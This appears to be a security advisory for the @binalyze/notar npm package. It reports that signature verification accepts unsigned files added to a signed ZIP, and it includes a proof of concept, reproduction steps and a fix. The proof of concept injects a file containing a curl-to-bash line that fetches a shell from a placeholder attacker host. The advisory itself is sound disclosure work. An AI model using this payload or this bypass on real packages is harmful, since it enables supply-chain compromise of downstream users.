You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Severity: Critical CWE: CWE-349 (Acceptance of Extraneous Untrusted Data With Trusted Data) Affected versions: @binalyze/notar >= 1.0.1, <= 1.2.0 (verified by extracting npm tarballs and inspecting dist/verify.js) Affected file: packages/core/src/verify.ts — verifyManifestHashes(), verifyPackage(), verifyZipFromAuthor()
Summary
The verifyPackage() function confirms that every file listed in MANIFEST.json matches its expected hash and signature. However, it never checks the reverse: whether every file inside the ZIP is listed in the manifest. An attacker who obtains a legitimately signed ZIP can append arbitrary files to it after signing. The package will still return valid: true when verified, allowing malicious payloads to be smuggled inside a cryptographically "trusted" package.A validly signed ZIP can be modified by adding new files after signing; verifyPackage/verifyFromAuthor still returns valid: true. This breaks end-to-end package authenticity and enables malicious payload smuggling in a package that is reported as trusted.
Impact
Any system that calls verifyPackage() or verifyFromAuthor() and then processes files from the verified ZIP can be compromised. The verification result valid: true is a false assurance — unsigned files (scripts, binaries, configs) ride alongside authenticated content without triggering any warning. This fully breaks the end-to-end package authenticity guarantee that notar is designed to provide.
Component Overview
ZIP authenticity relies on MANIFEST.json hashes + signature. The implementation validates only the manifest-listed paths.
Real-world attack scenario: a supply-chain actor intercepts a signed release artifact, appends a malicious postinstall.sh or a trojanized binary, and redistributes it. Downstream consumers verify the package, receive valid: true, and proceed to use or execute all files in the ZIP, including the injected payload.
Root Cause
In verify.ts, verifyManifestHashes() does this:
for (const [path, expectedHash] of Object.entries(manifest.files)) {
// checks each manifest-listed file — correct
}
// ← no check in the other direction: "is every ZIP entry in manifest?"
The ZIP entry set is never compared against manifest.files. Files absent from the manifest are silently accepted.
Proof of concept
for i in 1 2 3 4 5; do
echo "=== RUN $i ==="
corepack pnpm --filter @binalyze/notar exec tsx -e '
import { zipSync, unzipSync } from "fflate";
import { generateKeyPair, signPackage, verifyPackage } from "./src/index.ts";
(async () => {
const enc = (s) => new TextEncoder().encode(s);
// Step 1: generate a key pair
const key = await generateKeyPair();
const meta = {
name: "pkg", description: "d", version: "1.0",
author: "example.com", keyId: "key1", publisher: "example.com"
};
// Step 2: sign a legitimate ZIP containing only safe.txt
const signed = await signPackage(
zipSync({ "safe.txt": enc("safe content") }),
meta,
key.privateKey
);
// Step 3: unzip the signed package, inject an unsigned file, re-zip
const entries = unzipSync(signed);
entries["evil.sh"] = enc("#!/bin/bash\ncurl http://attacker.tld/shell | bash");
const tampered = zipSync(entries);
// Step 4: verify the tampered ZIP with the original public key
const result = await verifyPackage(tampered, key.publicKey);
const listed = result.details?.files?.map(f => f.path).join(", ");
const hasEvil = "evil.sh" in entries;
console.log(`valid=${result.valid} | listed="${listed}" | evil.sh present=${hasEvil}`);
})();
'
done
Expected (vulnerable) output — all 5 runs:
valid=true | listed="safe.txt" | evil.sh present=true
The verification passes cleanly. The extra unsigned file is fully invisible to the verifier yet present in the extracted archive.
Step tto Reproduce
Create a signed ZIP package using signPackage() containing one legitimate file (safe.txt).
Decompress the signed ZIP using any standard ZIP library.
Add an arbitrary file (evil.sh) not listed in the manifest.
Re-compress and call verifyPackage(tampered, publicKey).
Observe: result is valid: true despite the injected payload.
Fix Recommendation
Add a bidirectional file-set check in verifyManifestHashes():
// After verifying all manifest-listed files:
const manifestPaths = new Set(Object.keys(manifest.files));
for (const zipEntryPath of Object.keys(zipEntries)) {
if (zipEntryPath === "MANIFEST.json") continue; // expected
if (!manifestPaths.has(zipEntryPath)) {
return { valid: false, error: Unexpected file not in manifest: ${zipEntryPath} };
}
} Also add regression tests:
"ZIP with extra unsigned file must return valid: false"
"Manifest file count must exactly equal ZIP entry count minus MANIFEST.json"
In-scope according to provided rules:
- "Cryptographic weaknesses (signature forgery, key leakage)"
- "Worker abuse or bypass of verification logic"
This is a direct verification-logic bypass and package authenticity failure.
Severity: Critical CWE: CWE-349 (Acceptance of Extraneous Untrusted Data With Trusted Data)
Affected versions: @binalyze/notar >= 1.0.1, <= 1.2.0 (verified by extracting npm tarballs and inspecting
dist/verify.js)Affected file: packages/core/src/verify.ts — verifyManifestHashes(), verifyPackage(), verifyZipFromAuthor()
Summary
The verifyPackage() function confirms that every file listed in MANIFEST.json matches its expected hash and signature. However, it never checks the reverse: whether every file inside the ZIP is listed in the manifest. An attacker who obtains a legitimately signed ZIP can append arbitrary files to it after signing. The package will still return valid: true when verified, allowing malicious payloads to be smuggled inside a cryptographically "trusted" package.A validly signed ZIP can be modified by adding new files after signing;
verifyPackage/verifyFromAuthorstill returnsvalid: true. This breaks end-to-end package authenticity and enables malicious payload smuggling in a package that is reported as trusted.Impact
Any system that calls verifyPackage() or verifyFromAuthor() and then processes files from the verified ZIP can be compromised. The verification result valid: true is a false assurance — unsigned files (scripts, binaries, configs) ride alongside authenticated content without triggering any warning. This fully breaks the end-to-end package authenticity guarantee that notar is designed to provide.
Component Overview
ZIP authenticity relies on
MANIFEST.jsonhashes + signature. The implementation validates only the manifest-listed paths.Real-world attack scenario: a supply-chain actor intercepts a signed release artifact, appends a malicious postinstall.sh or a trojanized binary, and redistributes it. Downstream consumers verify the package, receive valid: true, and proceed to use or execute all files in the ZIP, including the injected payload.
Root Cause
In verify.ts, verifyManifestHashes() does this:
Expected (vulnerable) output — all 5 runs:
valid=true | listed="safe.txt" | evil.sh present=true
The verification passes cleanly. The extra unsigned file is fully invisible to the verifier yet present in the extracted archive.
Step tto Reproduce
Create a signed ZIP package using signPackage() containing one legitimate file (safe.txt).
Decompress the signed ZIP using any standard ZIP library.
Add an arbitrary file (evil.sh) not listed in the manifest.
Re-compress and call verifyPackage(tampered, publicKey).
Observe: result is valid: true despite the injected payload.
Fix Recommendation
Add a bidirectional file-set check in verifyManifestHashes():
// After verifying all manifest-listed files:
const manifestPaths = new Set(Object.keys(manifest.files));
for (const zipEntryPath of Object.keys(zipEntries)) {
if (zipEntryPath === "MANIFEST.json") continue; // expected
if (!manifestPaths.has(zipEntryPath)) {
return { valid: false, error:
Unexpected file not in manifest: ${zipEntryPath}};}
}
Also add regression tests:
"ZIP with extra unsigned file must return valid: false"
"Manifest file count must exactly equal ZIP entry count minus MANIFEST.json"
In-scope according to provided rules:
- "Cryptographic weaknesses (signature forgery, key leakage)"
- "Worker abuse or bypass of verification logic"
Poc video:
POC-binalyzenotar.mp4
Researcher: MRKNIGHTNIDU
Date: 25/4/2026